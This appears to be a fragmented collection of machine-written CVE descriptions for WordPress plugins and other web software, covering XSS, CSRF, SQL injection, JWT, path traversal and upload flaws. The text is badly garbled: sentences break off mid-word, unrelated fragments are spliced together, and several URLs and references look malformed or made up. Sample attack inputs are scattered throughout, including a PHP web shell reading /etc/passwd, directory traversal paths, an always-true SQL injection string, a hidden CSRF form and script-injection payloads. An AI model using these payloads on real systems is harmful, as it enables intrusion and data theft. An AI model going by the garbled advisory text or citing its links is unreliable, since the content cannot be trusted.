and can affect multiple users.

case, the script executes within the context of their browser, potentially leading to compromise of their:

specifically problematic in multi-site installations or where 'unfiltered\_html' capability has been disabled  
of the WordPress site data.

The payload could look like this: `<script>alert('XSS');</script>`. This script would pop up an alert box, bu

:s and escape them automatically:Correct usage:```pythonfrom django.utils.html import format\_html  
session hijacking.

Since the plugin might not properly check for a valid nonce, it wouldn't be able to distinguish between

d surveillance and potentially facilitation of further attacks if the information gained is used to navigate to `<camera-web-server-ip>/livefeed````This command attempts to access the live feed provided by the camera. This affects Geodi versions before 8.0.0.27396.

to malicious websites.

If displayed to other users, the script would execute in their browsers, leading to a stored XSS attack. This could lead to cookie stealing, session hijacking, phishing, or even delivering malware. The compromised user may unknowingly click on the link.

session, may carry out an action as if the user intended to do it. This could include actions such as updating a password, mail server credentials, and license key through a publicly accessible URL.

This provides the attacker with additional information that could be used to further attack the system or other users.

armful file for malicious purposes.

nation.

| a user visits the page, indicating the execution of arbitrary JavaScript.  
promised management page.

er sensitive information.

attacker to present malicious content or perform phishing attacks within the pop-up, tricking the user |

nmands to web request parameters or form fields that are expected to be benign. Without proper input validation, systems may accept any input without checking its validity, which can lead to privilege escalation and compromise additional systems.

Exploiting or sharing code examples for the purpose of exploiting vulnerabilities is unethical and illegal in most countries. It is important to assess the risk based on the specifics of the vulnerability.

operator- or administrator-level service account on the device.

page inaccessible, effectively executing a Denial-of-Service attack against that function of the web interface.

In nature correctly, might then accept this JWT and grant admin level privileges to the attacker.

in the name of the user, such as stealing cookies or session tokens, or performing actions without the user's knowledge.

'el access or higher to inject malicious web scripts into pages.

pt executes, potentially leading to unauthorized access, data theft, or manipulation.

ssion tokens, personal data, or even take control of a user's session in a more sophisticated attack.

Report on GitHub: <https://github.com/epiphany/embed-privacy/issues/199> - A direct link to a report: <https://github.com/epiphany/embed-privacy/pull/199>. Implementing least-privilege user roles, can also help in limiting the potential for future vulnerabilities.

ser on the platform.

, defacing websites, redirecting users to malicious sites, or stealing confidential information.

r, steal cookies or session tokens, or redirect to malicious sites.

web root directory, making them accessible to anyone without authentication.

word hashes.

ed access to user accounts.

the openSIS installation and `<guessed-date>` with various date formats until the correct backup file is

S4ED. Additionally, it would be prudent to monitor for any unauthorized access attempts or suspicious to accepting it as legitimate.

VT as a valid RSA-signed JWT, leading to an algorithm confusion attack.

asures both `BEGIN PUBLIC KEY` and `BEGIN RSA PUBLIC KEY` headers are recognized, reducing the risk alicious actions if the JWT is accepted as valid.

Details on the release that includes the fix can be checked at: <https://github.com/nearform/fast-jwt/re> plugin's settings and inject malicious scripts by tricking a site administrator into clicking a link or perfo ing a specially crafted link—that carries out the attacker's desired changes without the administrator's

'source=cve).

on of harmful scripts into the website. This can compromise the website's integrity and potentially lead

wise be restricted to higher-privileged accounts.

patches or updates to fix the issue.

it a URL or form data that alters the SQL query to return all users' passwords or to insert a new adminis

e snippet, the library is supposed to use RS256 for token decoding. However, the attacker controls the :  
ers. Another scenario could involve the attacker disrupting the service or manipulating token-based a  
iously established, secure algorithm.

\_ might look like this: `http://example.com/edit-content?p\_l\_back\_url\_title=<script>alert('XSS');</script>

nd access control policies.

ts by gaining more knowledge about the internal workings and structure of automation jobs within an

ted strings to execute JavaScript code.

ithin the context of a user's browser session on the affected website.

wser uses to authenticate with the site, or it could perform actions on behalf of the user without their

ies.

[https://www.exploit-db.com/wp-content/themes/exploit/vulnerabilities/2018/01/cve-2018-10501-cross-site-scripting-xss-vulnerability-\\_s\\_id=cve](https://www.exploit-db.com/wp-content/themes/exploit/vulnerabilities/2018/01/cve-2018-10501-cross-site-scripting-xss-vulnerability-_s_id=cve)).

ve information or executing malicious code.

, or deleting content within the application.

own links or visiting untrusted websites can help reduce the risk.

bove to inject arbitrary web scripts in pages. These injected scripts will then execute whenever a user visits the sites, or even taking over the user's session.

Wordfence.

evel access, thereby reducing the risk of a malicious actor exploiting such vulnerabilities.  
n a user accesses a page where this input is rendered as HTML, the script would execute, showing an al  
ecutive codes, allowing them to submit verified data erasure and consent requests, which may result i  
unauthorized submissions of data erasure requests or consent modifications.

orization.

The code would use a cryptographically secure random number generator, like so:

```
python -c "import random; import string; print(''.join([random.choice(string.ascii_letters + string.digits) for i in range(10)]))"
```

or

```
curl -s https://www.htmlvar/tmp/export-{unique id}.csv.
```

d suitable error handling to prevent the path from being disclosed to the user. pulate files on the system, leading to data leakage or server compromise. 3. Social Engineering: Knowir ect arbitrary web scripts that are executed in a victim's browser when specific user actions, such as clic behalf of the user. The exploitation relies on social engineering techniques to deceive the user into inte

stand the impact and remediation of the vulnerability. Malicious code is executed in their browser. This could result in actions like session hijacking, theft of cookies, or higher to inject arbitrary web scripts into pages. The web scripts will then execute whenever

ewed by other users, the malicious script would execute in their browsers, potentially leading to unauthorized actions.

without their consent. The impact depends on the permissions and data the attacked site has access to. If the browser receives unescaped code from a page it trusts, it will execute it as valid code by default.

e the user's browser session.

as recommended in the security notice for this CVE.

provide arbitrary domains for redirection.

performed on behalf of the user without their consent, data theft, or redirection to a malicious website

ous users to upload and execute arbitrary code.

ket poisoning, where malicious headers or data could be sent to other users, potentially passing authenti

in the context of another user's browser session.

ould be rendered in a browser, the hijacking of user sessions, defacement of websites, and potentially

ers, which can lead to a variety of malicious activities under the context of their session.

e the website content, or compromise user data. The specific code used in the attack would depend on

e RCE vulnerability.

the user whose session was hijacked, leading to data theft, site defacement, or other malicious activities. Cookies are valid only for the site they were generated for.

ors to maintain their web presence efficiently.

sent. Moreover, it could aid in information gathering activities, contributing to a larger attack strategy. <https://typo3.org/security/advisory/typo3-core-sa-2023-005>

<https://typo3.org/security/advisory/typo3-core-sa-2023-007> session, leading to various impacts including session hijacking, data theft, or website defacement. Please note that this advisory covers multiple vulnerabilities.

defacement of the web application, or redirection to a malicious site. The specific code example cannot be disclosed due to copyright restrictions.

This could be particularly dangerous if the data includes credentials, which could lead to further attacks such as password cracking or session hijacking. To mitigate this risk, it's important to implement strong authentication mechanisms and regularly update software dependencies.

ord policies and implementing account lockout mechanisms can help mitigate such an attack. Access to an email account, potentially leading to further exploitation such as data theft, account takeo\

restricted. Unfortunately, specific code examples for such vulnerabilities are generally not provided pri  
ormation disclosure or corruption of address book data, affecting user privacy and the integrity of the

to sensitive functions, potentially allowing for further exploitation of the affected system.  
sis of the system's authentication process and how the PUD Manager web service handles user tokens

ice is restarted.

XR328-4C WG and SIPLUS NET SCALANCE series.

he original administrator did not intend, potentially leading to further malicious activities.

drop on network traffic. Since CVE-2023-44320 relates to web interface manipulations, code examples  
ated uploads directory, placing them directly in the webroot, thus potentially compromising the web a

like: ``php<?phpsystem('cat /etc/passwd'); //Example code to read system files?>``Once uploaded, th

vities can also help in mitigating potential exploits.

ta, defacing the website, or redirecting the user to a malicious site once the script is executed by the v  
1 related Stored XSS, the form might include malicious JavaScript that would be saved and executed lat

ource=cve  
rying out actions on behalf of the users without their consent.

and the actual injection might be more complex, using encoded or obfuscated scripts to avoid detectio  
1 higher to inject malicious scripts that are executed when someone accesses the compromised page.

ser.

/trunk/includes/advanced-iframe-main-iframe.php?rev=2961394#L552- https://plugins.trac.wordpres  
alert('XSS'), as soon as the iframe loads. If input like this isn't properly sanitized, it would result in exec  
compromised credentials of legitimate users.

e server-side scripts in the output.

ion, whereby the server is manipulated to include files containing sensitive information or executable

s or other sensitive data to the attacker's server.

/plugin-endpoint" method="POST"> <input type="hidden" name="some\_setting" value="malicious\_value">

The victim's account details, posting content on their behalf, changing settings in the plugin, or performing other actions.

In this disguised element, the request is made with the victim's authentication credentials to the WordPress site.

on the plugin or WordPress site.

injected session.

phish off credential data, hijack user sessions, or redirect the user to a malicious site that might further execute within the security context of the web application, leading to the aforementioned consequences.

allow the attacker to steal cookies, session tokens, or other sensitive information, deface web pages, or

and 6.0.0 up to but not including 4.4.51, 5.4.31, and 6.3.8, which contain fixes to properly escape the output.

<https://symfony.com/security/advisories/GHSA-q847-2q57-wmr3> and information from the Debian

erable. The proper approach after applying the fix for CVE-2023-46734 would be to use an explicit escaper identifier. This issue was reported in Symfony versions starting from 5.4.21 and 6.2.7 until it was fixed.

Changes but also when there is a transition from a partially-authenticated to a fully-authenticated token allows the attacker to gain access to the victim's account and associated privileges, leading to potential damage. The security advisory published by Symfony on GitHub: <https://github.com/symfony/symfony/security-advisories/SYMFONY-4674>

ions as the web server, potentially compromising the server. However, without access to the specific configurations, a full compromise of the affected server.

ite, exploiting the CSRF vulnerability to change settings, add fake records, or extract sensitive information.

age optimization behavior or enabling/disabling features without the administrator's knowledge. The attack originates from the logged-in user's browser, it might look legitimate to the application. For safety and ethical considerations, it is important to implement proper security measures such as two-factor authentication and regular audits.

aiming at the vulnerable plugin's functionality, leading to unintended actions such as changing the website's content or structure. Measures like using nonces for forms, are in place to prevent CSRF attacks.

execute arbitrary code on the server with the privileges of the web server process. This could be achieved by leveraging a vulnerability in the plugin or in the server configuration, possibly through another vulnerability or misconfiguration.

and potentially gaining unauthorized influence over the category structure. This could lead to the disclosure of sensitive information or the creation of new categories.

An example attack might involve altering popular post lists or settings-related to the plugin's functionality. This could be achieved through a combination of SQL injection, which may enable phishing attacks or malicious JavaScript code execution in a user's browser, and social engineering into submitting malicious data, which could then be executed on their local machine.

file in their browser, the JavaScript code would be executed.

running or downloading files from untrusted sources.

al files from the server, like the 'index.php', thereby potentially rendering the website unusable or complete unavailability of the website.

A release tagged v5.1.4 of the blockreassurance module, which is available for download through the Gi

, and the Debian security tracker at '<https://www.debian.org/security/2023/dsa-5551>'.

vare, or compromise the user's device. Such attacks typically begin with social engineering techniques ties.

ous websites.

malicious actions such as stealing session tokens, performing actions on behalf of the user, or defacing ↪ executed or used for malicious purposes and are solely provided for educational purposes to help unc

ion cookies, redirecting to malicious sites, or performing actions on behalf of the user without their co

how the application is vulnerable to code injection.

risk.

malicious scripts that will execute when a user accesses an affected page.

ons such as stealing session cookies, manipulating web page content, or redirecting users to malicious s capability disabled are vulnerable to the CVE-2023-5819 exploit.

users affected.

without needing administrator-level permissions directly.

ta exposure on the administrator's system.  
the CSV file is opened in a spreadsheet application.

-import-export-for-woocommerce/wordpress-product-reviews-import-export-for-woocommerce-plug  
is CSV data is imported by an unsuspecting user using the vulnerable plugin, it could potentially lead to

ning the injected shortcode.

'vulnerabilities/id/4e498706-3dbe-4c48-9c0d-0d90677aba0d?source=cve

)\$T['featured\_image\_caption']; update\_post\_meta( \$post\_id, '\_featured\_image\_caption', \$caption\_ :  
'hen this post is viewed by users, the script would execute, potentially leading to unauthorized actions  
=&reponame=&new=2998182%40featured-image-caption%2Ftrunk&old=2486227%40featured-image

y leading to sensitive data exposure, session hijacking, or other malicious activities.  
at-intel/vulnerabilities/id/8b145772-624e-4af0-9156-03c483bf8381?source=cve  
eb scripts into pages.

:her malicious activities.

lirect users to malicious websites.

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14661>

user accesses a page displaying this shortcode, the malicious JavaScript executes in their browser.

e context of the victim's browser session.

ing sessions, or redirecting to phishing sites.

?source=cve'. It's also recommended to update the plugin to the latest version that addresses this vuln.

gs/4.4.1/lib/buttons-panel/SWP\_Buttons\_Panel\_Trait.php#L877- https://plugins.trac.wordpress.org/commit/compromise, or other malicious activities.

?source=cve

can exploit this vulnerability to inject malicious scripts into pages that will execute when a user accesses them, an attacker might inject a script like `<script>alert('XSS')</script>` by including it in the shortcode's parameters.

<https://core.trac.wordpress.org/ticket/274?source=cve>.

Users with contributor-level permissions and higher can help reduce the risk of exploitation. To do this, users with at least contributor-level permissions, to inject malicious web scripts into pages that will then trigger the exploit.

Viewing the content, which could be exploited to compromise sensitive information or accounts. <https://core.trac.wordpress.org/ticket/274?source=cve>.

User-level access or higher to inject malicious scripts into pages. By doing this, an attacker can compromise website pages, and potentially gaining control over the user's account if the user has administrative privileges.

Cookies or perform unauthorized actions on the site. If an attacker gains access to the site administrators, access the compromised page, the attacker's payload would execute, allowing them to gain access to the site's database and other sensitive information.

The user account and gain unauthorized accesses.

sword. Once the password is known, the attacker could gain unauthorized access to systems where the

mitigate the risk. This may include applying patches, updating software, changing configuration settings,

securely exchanged between users.

intentionally creates a weak password, knowing the truncation issue, and later uses it to compromise the s

browsers who use the vulnerable Velociraptor interface.

for: ' + search\_queryAn attacker could exploit this by providing a malicious JavaScript payload in place  
of redirecting to malicious sites, or defacing the webpage. The attack relies on the failure of the web appli

consent or knowledge. The actual code example would depend on the specifics of the plugin's vulnera

r manipulation of database data.

try, potentially resulting in an SQL statement such as `SELECT \* FROM users WHERE username = " OR '1

e the query by injecting SQL code into the 'id' parameter. Correctly coded, the application should use p  
e the database stores user information or other critical data.

ereby preventing legitimate users from logging in.

csa-23-306-02- [https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-014\\_en.pdf](https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-014_en.pdf)  
on activities can also help in reducing the risk.

uld potentially be exploited by attackers to conduct harmful actions.

tivities.

ob3-4cc3b4df4b2a?source=cve.

fect, such as cookie theft.

fence.com/threat-intel/vulnerabilities/id/32bc88a7-93ed-4d67-9383-b6d935a0df4d?source=cve

the 'slider' shortcode and post meta.  
arming unauthorized actions on behalf of the users.  
by injecting malicious SQL code into the application.

access to the application.  
om a table. For example: SELECT \* FROM users WHERE username = 'user' AND password = '' OR '1'='1'  
to/malicious.php'. If the server does not properly sanitize the input, this could result in the execution of

y.

the target of the SSRF attack, potentially accessing sensitive information or interacting with internal systems. If the application accepts the manipulated request as valid, attempts to access the specified URL, allowing the attacker to bypass firewalls and other security measures.

victim.

actions on behalf of the user without their consent.

[://www.ibm.com/support/pages/node/7063664](http://www.ibm.com/support/pages/node/7063664)

:a or altering the configuration of the software, depending on the permissions of the tricked user.

Validating request source or CSRF token      user.change\_password(new\_password)      return 'Password

```
return Jwts.builder() .setSubject(subject) .signWith(SignatureAlgorithm.HS256, SECURE
```

ripts, which could lead to further exploitation of the system. The exploit is known to the public and can compromise the integrity, confidentiality, and availability of the affected web application and its data in the /dashboard/createblog upload feature to upload this 'shell.php' file to the server. Once uploaded

permissions and access controls to limit the execution of uploaded files.- Regularly review and monitor

any user visiting a page where the FAQ content is displayed, leading to an XSS attack.

\_mail=' and 'https://www.wordfence.com/threat-intel/vulnerabilities/id/fc305c48-8337-42b7-ad61-6'

ndermining of the site's security policies, allowing an attacker to bypass the intended flow of the appli

oxy, thereby interrupting service to legitimate users.

to its low severity rating, the impact might be limited.  
One example.

compromised server, leading to reputational damage and potential operational impact for the affected organization. This could occur if user-supplied input within certain configuration options is not properly validated, allowing an attacker to inject malicious code or perform client validation of user-supplied input.

time users by affecting the device's availability.

This could lead to unauthorized actions such as modifying firewall rules, creating backdoors, disrupting network services, or exfiltrating sensitive data.

: execution with root access. This could allow the attacker to take full control of the system, manipulat

: rest would depend on the specific configurations and vulnerabilities of the target device.

: or perform actions on behalf of the user within the FMC interface. Since the malicious script is stored, e

: hat, once stored on the device, could allow for further attacks such as executing code with escalated p

: session cookies, credentials, or personal data, or even the browser acting on behalf of the attacker, per

: e of JavaScript code that could be inserted: `<script>alert('XSS');</script>`

base. Later, any user accessing the affected part of the FMC interface could trigger the execution of t

ce does not properly validate or encode the input, this script could execute showing an alert box, indic  
nto a field that is widely viewed by users, thereby executing the malicious script every time the infecte

s or unauthorized system control.

s network intrusion, service disruption, or espionage.

on due to inadequate protection or filtering.

ed PHP code, potentially compromising the server or gaining unauthorized access.

d out to prevent similar vulnerabilities in the future.

entially exposing additional attack surfaces with other vulnerabilities.

I effective attacks against the system.

ay try to directly access it or bypass security measures to exploit other vulnerabilities that lie within th  
:ml', results=result) except Exception as e: return f'Error: {str(e)} - Failed to search resources.' # N

text of a user's session, triggering the alert or any other malicious action defined by the attacker.

Example of such a script could be:<script>document.write('This is an XSS attack');</script>, embedded in

tokens, or other malicious activities.

The script could be executed in their browser.

Without encoding, the JavaScript would execute when the victim visits the URL.

or leading to further attacks such as phishing or malware distribution.

to steal cookies, session tokens, or perform other malicious activities.

ne is loaded, indicating the script execution. Real-world attacks would likely contain more harmful payload.

erly.

etrimental commands.

led by the error report. This information could then be used to further exploit the system or access resources (<https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-hwxf-qxj7-7rfj>).

the admin panel of the WordPress site.

>"]` where `malicious\_code()` represents the attacker's payload.  
↳ keylogger script that captures users' keystrokes on the infected page or redirect users to a phishing site  
↳ or higher to inject malicious scripts into pages, causing those scripts to run when other users view the affected page, performing unintended actions on their behalf.

d/ac763936-7147-4100-8a46-4c6d2f2224b4?source=cve.

ges.  
↳ when viewing the page containing this shortcode.  
↳ into pages.

avascript:doMaliciousThings()']. This input should be sanitized by the plugin but due to the vulnerability,

the captcha is configured or displayed.  
llicious sites.

. Here's a simplistic hypothetical example of an input that might be used to exploit such a vulnerability:

tion disclosure or even a system compromise.

c0223fffc2d882b50a97758b- <https://github.com/baserproject/basercms/security/advisories/GHSA-hn>  
l file, potentially leading to sensitive information disclosure.

ties.  
<https://github.com/baserproject/basercms/security/advisories/GHSA-ggj4-78rm-6xgv>'.

omware onto the user's system.

es.

irection to a malicious site.

`!?`source=cve

In this case, an alert box with 'XSS'.

Users viewing the page, leading to XSS attacks.

Any user who views the page containing this shortcode.

`22751fa7?source=cve'.`

Or even propagating the XSS attack to other logged-in users.

ject arbitrary web scripts into pages.

run in their browsers, leading to potential data theft, session hijacking, or other security breaches.

ags/1.4.2/includes/functions.php#L12- https://www.wordfence.com/threat-intel/vulnerabilities/id/5C  
e of the user's data or account.

rdpress.org/changeset/2976620/rafflepress#file0

ecuted, possibly resulting in the theft of session cookies or other actions by the malicious script.

it misuse, but essentially, it would involve crafting a malicious request to the login API.

lity, potentially causing disruption or obtaining unauthorized access to the network on which it's conne

sion hijacking, defacing websites, or redirecting users to phishing pages.

toryTalk® Services Platform web service.

has logged into the FactoryTalk® Services Platform web service prior to the attack attempt.

ttacker to masquerade as a legitimate user and gain access to the system without authorization. Expl

nject arbitrary web scripts into pages, which will execute whenever a user accesses an injected page.  
ker to steal cookies, hijack sessions, or perform other malicious activities.

ne contributor-level or higher permissions required to exploit this vulnerability.

a variety of malicious activities, such as stealing user data, altering website content, or spreading mal

ages, which will execute whenever a user accesses an injected page.

executed in the browser, demonstrating the Stored XSS attack.

the necessary permissions to modify content.

ng actions on behalf of the user.

puts the following into the tracking code field: <script>alert('XSS');</script>If the plugin does not valida

ge. This could result in cookie theft, session hijacking, or other client-side attacks.

s modifying sensitive data, creating new user accounts with elevated access, or altering configurations

e this: '<form action="http://vulnerable.app/admin/performAction" method="POST" style="display:none"></form>' is accessible via the web server.

owser when the malicious link is accessed.

has once assessed.

d in their browser, potentially allowing the attacker to steal cookies, session tokens, or perform actions on a specially crafted link containing the XSS payload.

or control over the system, steal sensitive information, or propagate further attacks.

:stricted web context, potentially exposing personal information or confidential files.

This is fixed with improved symlink handling, prior to this, an attacker could have potentially used JavaSc

worthy element of the macOS system.

Other vulnerabilities.

sensitive information, or gaining control over the device.

3983- <https://support.apple.com/kb/HT213984>- <https://support.apple.com/kb/HT213985>

romise.

ges using the 'text-blocks' shortcode.  
even more damaging exploits depending on the nature of the script injected.

/threat-intel/vulnerabilities/id/0d627ee7-1175-4621-a477-1e9ec2d05eee?source=cve  
ions and regularly review and sanitize all output to prevent such vulnerabilities.  
sitive information, session hijacking, or further compromising the website's security.

y authenticated attackers with contributor-level permissions or higher.

or steal sensitive information.

ite in their browser, potentially allowing the attacker to hijack the user's session, redirect the user to a  
simple-google-maps#file1- A threat intel report provided by Wordfence: <https://www.wordfence.com/>

s.

?a07045bb?source=cve  
ider\_messenger\_shortcode');```In this example, the 'message' attribute from the shortcode is outputte

spoofing attack.

then captured by the attacker. The attacker could then use this information to gain unauthorized acce:

owser vulnerabilities to compromise the user's system. It might also allow the attacker to execute cross-owser behavior. For instance, a WebExtension could use the browser.tabs.update API to navigate an e

ts into pages, which will be executed when someone accesses an injected page.

implementation may differ based on how the plugin parses the shortcodes.

could lead to unauthorized access, compromised user data, or damaged reputation for the website ow

er, potentially leading to session hijacking, data theft, or other malicious actions.

source=cve). These sources should provide further details on the vulnerability and advice on mitigation.

, or access to sensitive information.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/7a5123a7-8eb4-481e-88fe-6310be37a077?source=cve>.

activities within the user's browser context.

<https://www.wordfence.com/threat-intel/vulnerabilities/3e-84bd-309f2887e3cb?source=cve> respectively.

pages.

session hijacking.

detailling the vulnerability are available at <https://www.wordfence.com/threat-intel/vulnerabilities/3e-84bd-309f2887e3cb?source=cve>. If the shortcode is used, the script executes in the user's browser, potentially leading to sensitive information disclosure.

valid token, the attacker could potentially trigger webhooks to perform unauthorized actions on the Jenkins job.

2.

more sophisticated scripts and be part of a larger attack chain.

ken.

```
if (providedToken.charAt(i) != expectedToken.charAt(i)) { valid = false; } } return valid;}```In
```

attacker could deduce the correct token and gain unauthorized access to the system.

ing of Jenkins job builds or accesses to sensitive information if the webhook tokens are compromised.

its as soon as a character mismatch is found, which can be exploited to perform a timing attack.

:a, causing a denial of service by exhausting CPU time, effectively blocking worker processes from han

rnal bytearray and searching for a boundary within this growing buffer. This process can be resource-i  
:y advisory: <https://security.netapp.com/advisory/ntap-20231124-0008/>

ecurity risk as attackers could attempt to crack the hashes.

initially gain unauthorized access to the accounts of other users, escalating their privileges within the sy

ds are no longer retrievable through the API.

obot/nautobot/commit/1ce8e5c658a075c29554d517cd453675e5d40d71- The pull request for the pat

the context of an integrated website when the privacy notice is displayed. This security issue affects Ac

; activities, such as session hijacking, data theft, or the carrying out of actions on the site masquerading  
s/tag/2.22.13. A detailed security advisory of the vulnerability is provided by the Fides repository on G

ormation that should be restricted. The configuration data includes sensitive information about the int

:ther types of attacks that take advantage of the disclosed information. Essentially, the exposed inform  
and the security advisory detailing the vulnerability at '<https://github.com/ethyca/fides/security/adv>

nd potentially exfiltrate data.

<https://github.com/ethyca/fides/releases/tag/2.22.1>- Commit with the Patch: <https://github.com/ethyca/fides/c>  
l services.

ternal network of the organization. In worst-case scenarios, such attacks might lead to further exploita

data breaches, or other malicious activities.

behalf of the users, theft of sensitive information, session hijacking, or defacement of the website.

from the internet, potentially leading to information disclosure or unauthorized access.

can be reached from the vulnerable GeoServer instance.

attacker to exfiltrate sensitive data, modify user permissions, disrupt service operations, or even take

tyServer/core/```In this example, the attacker sets the Host header to 'attacker.com' in an attempt to t  
`expected redirects or links that may appear due to such vulnerabilities.

ies/GHSA-6rfm-2rwg-mj7p  
propagation of the attack to other users through the affected platform. Because it is a stored XSS, the

ting them to malicious sites.  
, or redirect to a malicious website.

rsistent access.

`..../etc/passwd` to attempt to read the contents of the system's password file, which could contain sensitive information. Mitigating this vulnerability.

directory traversal characters (like `..`) in the filenames or paths during the upload process.

authorized access to sensitive data, server compromise, website defacement, or serving as a foothold for further attacks. To minimize the risk of exploitation.

formation.

execute the malicious script.

ation takeover.

ing such vulnerabilities.

tive information.

`search_field').value;document.write('Search results for: ' + userInput);</script></body></html>` An attack vector is introduced by injecting malicious script into the search results page. This script is designed to be viewed by users of the platform. Once a user views such a page, the script might execute with elevated privileges, potentially leading to a full system compromise.

uld also be used to capture session tokens or login credentials if they are entered during the session. T

ntation fault.

io such additional consequences are detailed in the CVE.

or result in a crash due to the segmentation fault, ultimately leading to a denial of service condition.

extension into taking a screenshot and sending the base64 encoded contents back to the attacker's we  
re they are necessary and come from reputable sources.

unt compromise or data theft.

the URL parameter '/file?path=' to access sensitive files, such as '/proc/self/environ' which may reveal system details.

use credentials, or other configuration secrets. Additionally, the attacker could probe the filesystem to gain information within their Stable Diffusion web UI environment.

fix at <https://github.com/zanllp/sd-webui-infinite-image-browsing/pull/368/commits/977815a2b28a>

anup function. This enables an authenticated user to potentially execute arbitrary commands with elevated privileges.

This could result in unauthorized access to system resources, manipulation of system settings, or compromise of the system.

as stealing session tokens, redirecting to malicious websites, or compromising the site's content. This would then be stored and executed later when a page including the custom body class is accessed. This can lead to various types of attacks, such as command injection or file inclusion.

source=cve

```
ction vulnerability file_put_contents('log.txt', $_GET['log_entry'], FILE_APPEND);}```Note: This code is
```

ight be executed by the server, allowing the attacker to take control or perform privileged actions on the interfaces and ensure that their incident response plans are up to date to handle potential exploitation.

es on the website.

r to extract sensitive data. For example, an attacker might inject the following script: `<script>document.write` scripts into pages.

re the user to perform an action, like clicking a link, to succeed.

specific to the 'nsc' theme vulnerability.

more complex and designed to inject a malicious script for execution in the user's browser.

steal cookies, or compromise interaction with the application.

hat input sanitization and output encoding practices are consistently applied throughout the applicatio

owser session.

using contextually appropriate escaping mechanisms.

nto clicking a malicious link.

ng actions on behalf of the user without their consent. In the case of the Your Journey theme, the vulne

deface the website, or redirect the user to a phishing page to collect additional sensitive information.

which provides information specifically related to the Your Journey theme vulnerability and possible t

es.

In that injected page, the malicious script will execute in their browser. This script can perform various actions on web content.

redirection to phishing sites, or unauthorized administrative actions being performed on the site on behalf of visitors without their consent.

This allows authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts, the malicious script would be stored and later rendered as part of the page, executing the script in the browser to a significant security breach.

Good user role management to restrict permissions can help reduce the likelihood of such exploits. Vulnerability and the changes made to fix it.

This exploit demonstrates the concept of how JavaScript can be injected and executed in a vulnerable environment or higher to inject arbitrary web scripts into pages. It can steal session tokens, or personal data.

This potentially compromises the website's integrity and the security of its users. A detailed analysis of the vulnerable version of the plugin can be examined at the WordPress plugins Trac, specifically with the file 'wp-includes/plugin.php' line 102, where the function 'wp\_handle\_shortcode' is defined. In this example, the '\$data' variable might contain user input and the exploit involves an attacker using the XSS to modify the appearance of the website or to present false information whenever the affected content is viewed, affecting multiple users over time.

Administrators with administrator-level permissions to inject arbitrary web scripts that will be executed when a user visits the website, leading to session theft, session hijacking, or other malicious actions.

80-ed38fec81dbb?source=cve' where more information about the vulnerability and its mitigation can | compromise the WordPress site.

arbitrary web scripts into pages, which would execute when accessed by other users. Although a partia

ge content. Any user accessing the injected page would then execute the script, potentially leading to |

then execute whenever a user accesses the affected page.

sent.

#file1- Further threat intelligence and details are available at: <https://www.wordfence.com/threat-intel/vulnerabilities/id/778af777-4c98-45cd-9704-1bdc96054aa7?source=cve>

or-level or higher permissions to inject arbitrary web scripts in pages.

ffected pages, potentially leading to unauthorized access, data theft, or other malicious activities.

yrically in the form of an alert dialogue. However, in a real attack, the script could be designed to steal wordfence.com/threat-intel/vulnerabilities/id/778af777-4c98-45cd-9704-1bdc96054aa7?source=cve Tl  
vulnerability can only be exploited by authenticated users with these permissions.

tions.

execute when any user accesses an injected page. This vulnerability specifically impacts multi-site insti  
ose scripts execute in the users' browsers, potentially leading to unauthorized actions being performec

the browser's trust in the site to bypass CSRF protections. In a multi-user environment especially, whe

onal layers of defense against known and unknown vulnerabilities.

the page with the injected script, the code would execute, potentially leading to data theft, session hi

<https://api.cve.mitre.org/v2/50421608ea?source=cve>.

re the file is opened within the vulnerable version of the software, the attacker's code could be executi

er permissions to inject malicious scripts into web pages.

ses a compromised page. An example of such an attack could involve injecting a script that steals cook

ecessary levels and to keep all plugins and WordPress itself updated.

t with the plugin's code changes: <https://plugins.trac.wordpress.org/changeset/2973904/podcast-subs>

by stored XSS attacks.

d actions performed on behalf of the users or data theft.

cious shortcode, the script would run in their browser, leading to a Stored XSS attack scenario.

-cve.

shing sites.

to inject arbitrary web scripts into pages, which will then be executed whenever a user accesses an injected page. This can then be executed in the browsers of users who visit the injected pages, leading to potential theft of

in any user's browser that loads the page with this shortcode. In a more severe attack, the injected script could exploit an Intel vulnerability details: <https://www.wordfence.com/threat-intel/vulnerabilities/id/011c8a06-298e-42d9-833a-0a2a2a2a2a2a>. For more information on the severity and implications of this specific vulnerability, please refer to the Wordfence Threat Intel blog post.

Protecting your website from XSS vulnerabilities is crucial. Regularly updating plugins and monitoring security advisories are good practices.

The injected script will then execute when a user views the compromised page.

This means that the injected script runs in their browser, potentially causing unauthorized actions on behalf of the user, stealing sensitive information or even executing harmful code.

er.

luring a site administrator into performing an action, such as clicking on a malicious link.

;

ces.

loss of user confidence.

If the administrator views the page or email, the browser could automatically issue the request, without them having to click on the links themselves. This can lead to injecting malicious scripts into pages.

is the page, potentially leading to session hijacking, credential theft, or other harmful actions.

A detailed vulnerability analysis by Wordfence: <https://www.wordfence.com/threat-intel/vulnerabilities/id/68c4-42d9-833a-0a2a2a2a2a2a>.

The attacker could also use the iframe shortcode. These scripts could then execute whenever a user accesses the infected page. This can lead to injecting malicious scripts into pages.

This is being demonstrated. This simple demonstration could be swapped out for more harmful scripts designed to exploit the vulnerability. A detailed threat analysis by Wordfence: <https://plugins.trac.wordpress.org/changeset/2970787/iframe#file4>. Wordfence's threat intelligence module can detect and prevent such attacks.

The attacker might inject a script like this:

in the application. This can compromise the integrity and confidentiality of user data and interactions  
ort: <https://www.wordfence.com/threat-intel/vulnerabilities/id/11ffb8a1-55d2-44c5-bcd2-ba866b94e>

at could be vulnerable to exploitation.  
en execute when a user accesses those pages. This vulnerability specifically affects multi-site installations  
d in the user's browser when they visit the affected page. As a result, the attacker could perform actions

:il it's been removed, allowing for an ongoing attack or affecting multiple users.  
[http://wp?contextall=1&old=2544748&old\\_path=%2Fphotospace-responsive%2Ftrunk%2Fincludes%2Fclass-](http://wp?contextall=1&old=2544748&old_path=%2Fphotospace-responsive%2Ftrunk%2Fincludes%2Fclass-)

ure of the script and the permissions it is able to exploit.

se scripts can then be executed by unwitting users who access the compromised pages.

r of any user visiting a page where the countdown is displayed.

ve)

- add custom scripts.

rary web scripts that execute when a user visits the affected page.

post, the injected script would execute in their browsers.

ed on a page.

:stimonial#file9. Moreover, threat intelligence details about this vulnerability are available on the Worc

| the browser of any user who accesses the search page.

ed in the index name.

m.

